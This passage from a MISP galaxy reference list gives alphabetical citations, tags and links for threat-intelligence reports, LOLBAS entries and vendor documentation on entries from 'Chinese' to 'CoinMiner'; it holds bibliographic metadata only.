Insikt Group. (2025, January 9). Chinese State-Sponsored RedDelta Targeted Taiwan, Mongolia, and Southeast Asia with Adapted PlugX Infection Chain. Retrieved January 14, 2025.

The tag is: *misp-galaxy:references="Recorded Future RedDelta 2025"*

Table 19871. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0109.pdf

Recorded Future RedDelta January 9 2025

Insikt Group. (2025, January 9). Chinese State-Sponsored RedDelta Targeted Taiwan, Mongolia, and Southeast Asia with Adapted PlugX Infection Chain. Retrieved January 10, 2025.

The tag is: *misp-galaxy:references="Recorded Future RedDelta January 9 2025"*

Table 19872. Table References

Links
https://www.recordedfuture.com/research/reddelta-chinese-state-sponsored-group-targets-mongolia-taiwan-southeast-asia

Microsoft Storm-0940 October 31 2024

Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved January 27, 2025.

The tag is: *misp-galaxy:references="Microsoft Storm-0940 October 31 2024"*

Table 19873. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/

Github CHIPSEC

Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.

The tag is: *misp-galaxy:references="Github CHIPSEC"*

Table 19874. Table References

Links
https://github.com/chipsec/chipsec

McAfee CHIPSEC Blog

Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.

The tag is: *misp-galaxy:references="McAfee CHIPSEC Blog"*

Table 19875. Table References

Links
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/

Chkrootkit Main

Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Chkrootkit Main"*

Table 19876. Table References

Links
http://www.chkrootkit.org/

Wikimedia Foundation Inc. April 27 2002

Wikimedia Foundation Inc.. (2002, April 27). chmod - Wikipedia. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Wikimedia Foundation Inc. April 27 2002"*

Table 19877. Table References

Links

https://en.wikipedia.org/wiki/Chmod

Azure AD Hybrid Identity

Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="Azure AD Hybrid Identity"*

Table 19878. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn

Red Canary May 25 2022

Aedan Russell. (2022, May 25). ChromeLoader a pushy malvertiser. Retrieved September 26, 2024.

The tag is: *misp-galaxy:references="Red Canary May 25 2022"*

Table 19879. Table References

Links
https://redcanary.com/blog/threat-detection/chromeloader/

Chrome Remote Desktop

Huntress. (n.d.). Retrieved March 14, 2024.

The tag is: *misp-galaxy:references="Chrome Remote Desktop"*

Table 19880. Table References

Links
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708

Truesec AB August 30 2024

Simon Hertzberg. (2024, August 30). Cicada 3301 - Ransomware-as-a-Service - Technical Analysis. Retrieved September 4, 2024.

The tag is: *misp-galaxy:references="Truesec AB August 30 2024"*

Table 19881. Table References

Links
https://www.truesec.com/hub/blog/dissecting-the-cicada

Cipher.exe - LOLBAS Project

LOLBAS. (2024, November 22). Cipher.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="Cipher.exe - LOLBAS Project"*

Table 19882. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Cipher/

cipher.exe

Microsoft Support. (n.d.). Cipher.exe Security Tool for the Encrypting File System. Retrieved February 25, 2025.

The tag is: *misp-galaxy:references="cipher.exe"*

Table 19883. Table References

Links
https://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4

BleepingComputer Void Banshee September 16 2024

Sergiu Gatlan. (2024, September 20). CISA warns of Windows flaw used in infostealer malware attacks. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="BleepingComputer Void Banshee September 16 2024"*

Table 19884. Table References

Links
https://www.bleepingcomputer.com/news/security/cisa-warns-of-windows-flaw-used-in-infostealer-malware-attacks/

show_ssh_users_cmd_cisco

Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="show_ssh_users_cmd_cisco"*

Table 19885. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html

Cisco IOS Shellcode

George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Shellcode"*

Table 19886. Table References

Links
http://2015.zeronights.org/assets/files/05-Nosenko.pdf

Cisco IOS Software Integrity Assurance - AAA

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - AAA"*

Table 19887. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#38

Cisco IOS Software Integrity Assurance - Boot Information

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Boot Information"*

Table 19888. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#26

Cisco IOS Software Integrity Assurance - Change Control

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Change Control. Retrieved October 21, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Change Control"*

Table 19889. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#31

Cisco IOS Software Integrity Assurance - Image File Verification

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Image File Verification"*

Table 19890. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#7

Cisco IOS Software Integrity Assurance - Run-Time Memory Verification

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Run-Time Memory Verification"*

Table 19891. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#13

Cisco IOS Software Integrity Assurance - Command History

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Command History"*

Table 19892. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#23

Cisco IOS Software Integrity Assurance - Credentials Management

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Credentials Management. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Credentials*

Management"

Table 19893. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#40

Cisco IOS Software Integrity Assurance - Deploy Signed IOS

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Deploy Signed IOS. Retrieved October 21, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Deploy Signed IOS"*

Table 19894. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#34

Cisco IOS Software Integrity Assurance - Image File Integrity

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Image File Integrity. Retrieved October 21, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Image File Integrity"*

Table 19895. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#30

Cisco IOS Software Integrity Assurance - Secure Boot

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - Secure Boot"*

Table 19896. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#35

Cisco IOS Software Integrity Assurance - TACACS

Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco IOS Software Integrity Assurance - TACACS"*

Table 19897. Table References

Links
https://tools.cisco.com/security/center/resources/integrity_assurance.html#39

Cisco Traffic Mirroring

Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco Traffic Mirroring"*

Table 19898. Table References

Links
https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html

Talos - Cisco Attack 2022

Nick Biasini. (2022, August 10). Cisco Talos shares insights related to recent cyber attack on Cisco. Retrieved March 9, 2023.

The tag is: *misp-galaxy:references="Talos - Cisco Attack 2022"*

Table 19899. Table References

Links
https://blog.talosintelligence.com/recent-cyber-attack/

Citrix Bulletin CVE-2023-3519

Citrix. (2023, July 18). Citrix ADC and Citrix Gateway Security Bulletin for CVE-2023-3519, CVE-2023-3466, CVE-2023-3467. Retrieved July 24, 2023.

The tag is: *misp-galaxy:references="Citrix Bulletin CVE-2023-3519"*

Table 19900. Table References

Links
https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467

Malwarebytes Citrix Bleed November 24 2023

Pieter Arntz. (2023, November 24). Citrix Bleed widely exploited, warn government agencies.

Retrieved November 30, 2023.

The tag is: *misp-galaxy:references="Malwarebytes Citrix Bleed November 24 2023"*

Table 19901. Table References

Links
https://www.malwarebytes.com/blog/news/2023/11/citrix-bleed-widely-exploitated-warn-government-agencies

Cyble April 28 2023

Cybleinc. (2023, April 28). Citrix Users at Risk: AresLoader Spreading Through Disguised GitLab Repo. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Cyble April 28 2023"*

Table 19902. Table References

Links
https://blog.cyble.com/2023/04/28/citrix-users-at-risk-aresloader-spreading-through-disguised-gitlab-repo/

Cyble April 03 2023

Cybleinc. (2023, April 3). Cl0p Ransomware: Active Threat Plaguing Businesses Worldwide. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="Cyble April 03 2023"*

Table 19903. Table References

Links
https://blog.cyble.com/2023/04/03/cl0p-ransomware-active-threat-plaguing-businesses-worldwide/

Talent-Jump Clambling February 2020

Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021.

The tag is: *misp-galaxy:references="Talent-Jump Clambling February 2020"*

Table 19904. Table References

Links
https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/

FireEye Clandestine Fox Part 2

Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="FireEye Clandestine Fox Part 2"*

Table 19905. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html

Microsoft Clear-EventLog

Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.

The tag is: *misp-galaxy:references="Microsoft Clear-EventLog"*

Table 19906. Table References

Links
https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog

Clearing quarantine attribute

Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="Clearing quarantine attribute"*

Table 19907. Table References

Links
https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/

NPPSPY - Huntress

Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="NPPSPY - Huntress"*

Table 19908. Table References

Links
https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy

Huntress NPPSPY 2022

Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.

The tag is: *misp-galaxy:references="Huntress NPPSPY 2022"*

Table 19909. Table References

Links
https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy

Binary Defense December 10 2024

John Dwyer. (2024, December 10). Cleo MFT Mass Exploitation Payload Analysis . Retrieved December 13, 2024.

The tag is: *misp-galaxy:references="Binary Defense December 10 2024"*

Table 19910. Table References

Links
https://www.binarydefense.com/resources/blog/cleo-mft-mass-exploitation-payload-analysis/

Arctic Wolf Networks December 12 2024

Stefan Hostetler; Julian Tuin; Aaron Diaz; Jon Grimm; Cole Bosma. (2024, December 12). Cleopatra's Shadow A Mass Exploitation Campaign Deploying a Java Backdoor Through Zero-Day Exploitation of Cleo MFT Software - Arctic Wolf. Retrieved December 23, 2024.

The tag is: *misp-galaxy:references="Arctic Wolf Networks December 12 2024"*

Table 19911. Table References

Links
https://arcticwolf.com/resources/blog/cleopatras-shadow-a-mass-exploitation-campaign/

Www.huntress.com December 1 2024

Team Huntress. (2024, December 1). Cleo Software Actively Being Exploited in the Wild CVE-2024-50623 . Retrieved December 11, 2024.

The tag is: *misp-galaxy:references="Www.huntress.com December 1 2024"*

Table 19912. Table References

Links

https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild

Microsoft Learn ClickOnce and Authenticode

Microsoft. (2023, March 9). ClickOnce and Authenticode. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="Microsoft Learn ClickOnce and Authenticode"*

Table 19913. Table References

Links
https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-and-authenticode?view=vs-2022

Burke/CISA ClickOnce BlackHat

William Joseph Burke III. (2019, August 7). CLICKONCE AND YOU'RE IN: When .appref-ms abuse is operating as intended. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="Burke/CISA ClickOnce BlackHat"*

Table 19914. Table References

Links
https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended.pdf?_gl=1*16njas6*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.253743689.1512103758.1724809895-1999078900.1724809894

Microsoft Learn ClickOnce

Microsoft. (2023, September 14). ClickOnce security and deployment. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="Microsoft Learn ClickOnce"*

Table 19915. Table References

Links
https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment?view=vs-2022

NCC Group Everest Ransomware July 13 2022

Michael Mullen, Nikolaos Pantazopoulos. (2022, July 13). Climbing Mount Everest: Black-Byte Bytes Back?. Retrieved June 9, 2025.

The tag is: *misp-galaxy:references="NCC Group Everest Ransomware July 13 2022"*

Table 19916. Table References

Links
https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/

CL_Invocation.ps1 - LOLBAS Project

LOLBAS. (2018, May 25). CL_Invocation.ps1. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="CL_Invocation.ps1 - LOLBAS Project"*

Table 19917. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/

clip_win_server

Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.

The tag is: *misp-galaxy:references="clip_win_server"*

Table 19918. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip

Red Canary Silver Sparrow Feb2021

Tony Lambert. (2021, February 18). Clipping Silver Sparrow's wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.

The tag is: *misp-galaxy:references="Red Canary Silver Sparrow Feb2021"*

Table 19919. Table References

Links
https://redcanary.com/blog/clipping-silver-sparrows-wings/

CL_LoadAssembly.ps1 - LOLBAS Project

LOLBAS. (2021, September 26). CL_LoadAssembly.ps1. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="CL_LoadAssembly.ps1 - LOLBAS Project"*

Table 19920. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/

CL_Mutexverifiers.ps1 - LOLBAS Project

LOLBAS. (2018, May 25). CL_Mutexverifiers.ps1. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="CL_Mutexverifiers.ps1 - LOLBAS Project"*

Table 19921. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/

Google Cloud June 18 2024

Mandiant. (2024, June 18). Cloaked and Covert Uncovering UNC3886 Espionage Operations . Retrieved June 25, 2024.

The tag is: *misp-galaxy:references="Google Cloud June 18 2024"*

Table 19922. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations/

Google Cloud Mandiant UNC3886 2024

Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Google Cloud Mandiant UNC3886 2024"*

Table 19923. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations

Cybereason Clop Dec 2020

Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021.

The tag is: *misp-galaxy:references="Cybereason Clop Dec 2020"*

Table 19924. Table References

Links
https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware

Mcafee Clop Aug 2019

Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021.

The tag is: *misp-galaxy:references="Mcafee Clop Aug 2019"*

Table 19925. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/

Bleeping Computer Clop February 2023

Sergiu Gatlan. (2023, February 10). Clop ransomware claims it breached 130 orgs using GoAnywhere zero-day. Retrieved May 8, 2023.

The tag is: *misp-galaxy:references="Bleeping Computer Clop February 2023"*

Table 19926. Table References

Links
https://www.bleepingcomputer.com/news/security/clop-ransomware-claims-it-breached-130-orgs-using-goanywhere-zero-day/

Kaspersky Cloud Atlas December 2014

GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020.

The tag is: *misp-galaxy:references="Kaspersky Cloud Atlas December 2014"*

Table 19927. Table References

Links
https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/

Kandji 4 8 2024

Adam Kohler; Christopher Lopez. (2024, April 8). CloudChat Infostealer How It Works, What It Does. Retrieved April 19, 2024.

The tag is: *misp-galaxy:references="Kandji 4 8 2024"*

Table 19928. Table References

Links

https://blog.kandji.io/cloudchat-infostealer

Rhino Labs Cloud Backdoor September 2019

Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="Rhino Labs Cloud Backdoor September 2019"*

Table 19929. Table References

Links
https://github.com/RhinoSecurityLabs/ccat

Google Cloud Storage

Google. (n.d.). Cloud Storage. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Google Cloud Storage"*

Table 19930. Table References

Links
https://cloud.google.com/storage

Office 265 Azure Domain Availability

Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Office 265 Azure Domain Availability"*

Table 19931. Table References

Links
https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure

Datadog S3 Lifecycle CloudTrail Logs

Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Datadog S3 Lifecycle CloudTrail Logs"*

Table 19932. Table References

Links
https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/

Mandiant Cloudy Logs 2023

Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.

The tag is: *misp-galaxy:references="Mandiant Cloudy Logs 2023"*

Table 19933. Table References

Links
https://www.mandiant.com/resources/blog/cloud-bad-log-configurations

win_clsid_key

Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.

The tag is: *misp-galaxy:references="win_clsid_key"*

Table 19934. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm

Kube Cluster Admin

kubernetes. (2021, January 16). Cluster Administration. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Kube Cluster Admin"*

Table 19935. Table References

Links
https://kubernetes.io/docs/concepts/cluster-administration/

Kube Cluster Info

kubernetes. (n.d.). cluster-info. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Kube Cluster Info"*

Table 19936. Table References

Links
https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cluster-info

TechNet Cmd

Microsoft. (n.d.). Cmd. Retrieved April 18, 2016.

The tag is: *misp-galaxy:references="TechNet Cmd"*

Table 19937. Table References

Links
https://technet.microsoft.com/en-us/library/bb490880.aspx

Cmd.exe - LOLBAS Project

LOLBAS. (2019, June 26). Cmd.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Cmd.exe - LOLBAS Project"*

Table 19938. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Cmd/

Cmdkey.exe - LOLBAS Project

LOLBAS. (2018, May 25). Cmdkey.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Cmdkey.exe - LOLBAS Project"*

Table 19939. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Cmdkey/

cmdl32.exe - LOLBAS Project

LOLBAS. (2021, August 26). cmdl32.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="cmdl32.exe - LOLBAS Project"*

Table 19940. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/

Cmstp.exe - LOLBAS Project

LOLBAS. (2018, May 25). Cmstp.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Cmstp.exe - LOLBAS Project"*

Table 19941. Table References

Links

https://lolbas-project.github.io/lolbas/Binaries/Cmstp/

Twitter CMSTP Jan 2018

Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter CMSTP Jan 2018"*

Table 19942. Table References

Links
https://x.com/NickTyrer/status/958450014111633408

Secureworks COBALT DICKENS September 2019

Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021.

The tag is: *misp-galaxy:references="Secureworks COBALT DICKENS September 2019"*

Table 19943. Table References

Links
https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again

Morphisec Cobalt Gang Oct 2018

Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Morphisec Cobalt Gang Oct 2018"*

Table 19944. Table References

Links
https://blog.morphisec.com/cobalt-gang-2.0

Secureworks COBALT GYPSY Threat Profile

Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.

The tag is: *misp-galaxy:references="Secureworks COBALT GYPSY Threat Profile"*

Table 19945. Table References

Links
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy

Secureworks COBALT ILLUSION Threat Profile

Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021.

The tag is: *misp-galaxy:references="Secureworks COBALT ILLUSION Threat Profile"*

Table 19946. Table References

Links
https://www.secureworks.com/research/threat-profiles/cobalt-illusion

PTSecurity Cobalt Dec 2016

Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.

The tag is: *misp-galaxy:references="PTSecurity Cobalt Dec 2016"*

Table 19947. Table References

Links
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf

CobaltStrike Daddy May 2017

Mudge, R. (2017, May 23). Cobalt Strike 3.8 – Who's Your Daddy?. Retrieved June 4, 2019.

The tag is: *misp-galaxy:references="CobaltStrike Daddy May 2017"*

Table 19948. Table References

Links
https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/

Cobalt Strike Manual 4.3 November 2020

Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.

The tag is: *misp-galaxy:references="Cobalt Strike Manual 4.3 November 2020"*

Table 19949. Table References

Links
https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf

Malleable-C2-U42

Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Malleable-C2-U42"*

Table 19950. Table References

Links
https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/

cobaltstrike manual

Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.

The tag is: *misp-galaxy:references="cobaltstrike manual"*

Table 19951. Table References

Links
https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf

TrendMicro Cobalt Group Nov 2017

Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.

The tag is: *misp-galaxy:references="TrendMicro Cobalt Group Nov 2017"*

Table 19952. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/

PTSecurity Cobalt Group Aug 2017

Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.

The tag is: *misp-galaxy:references="PTSecurity Cobalt Group Aug 2017"*

Table 19953. Table References

Links
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf

Zscaler Cobian Aug 2017

Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018.

The tag is: *misp-galaxy:references="Zscaler Cobian Aug 2017"*

Table 19954. Table References

Links
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

therecord.media April 26 2022

therecord.media. (2022, April 26). Coca-Cola investigating claims of hack after ransomware group hawks stolen data. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="therecord.media April 26 2022"*

Table 19955. Table References

Links
https://therecord.media/coca-cola-investigating-claims-of-hack-after-ransomware-group-hawks-stolen-data

MACOS Cocoa

Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="MACOS Cocoa"*

Table 19956. Table References

Links
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1

code.exe - LOLBAS Project

LOLBAS. (2023, February 1). code.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="code.exe - LOLBAS Project"*

Table 19957. Table References

Links
https://lolbas-project.github.io/lolbas/HonorableMentions/Code/

Ars Technica VMWare Code Execution Vulnerability 2021

Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Ars Technica VMWare Code Execution Vulnerability 2021"*

Table 19958. Table References

Links
https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/

Dark Reading Code Spaces Cyber Attack

Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.

The tag is: *misp-galaxy:references="Dark Reading Code Spaces Cyber Attack"*

Table 19959. Table References

Links
https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack

Medium Ptrace JUL 2018

Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="Medium Ptrace JUL 2018"*

Table 19960. Table References

Links
https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be

Wikipedia Code Signing

Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.

The tag is: *misp-galaxy:references="Wikipedia Code Signing"*

Table 19961. Table References

Links
https://en.wikipedia.org/wiki/Code_signing

SpectorOps Code Signing Dec 2017

Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.

The tag is: *misp-galaxy:references="SpectorOps Code Signing Dec 2017"*

Table 19962. Table References

Links
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec

CoinLoader: A Sophisticated Malware Loader Campaign

Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.

The tag is: *misp-galaxy:references="CoinLoader: A Sophisticated Malware Loader Campaign"*

Table 19963. Table References

Links
https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign

Ahn Lab CoinMiner 2023

Ahn Lab. (2023, April 24). CoinMiner (KONO DIO DA) Distributed to Linux SSH Servers. Retrieved April 4, 2025.

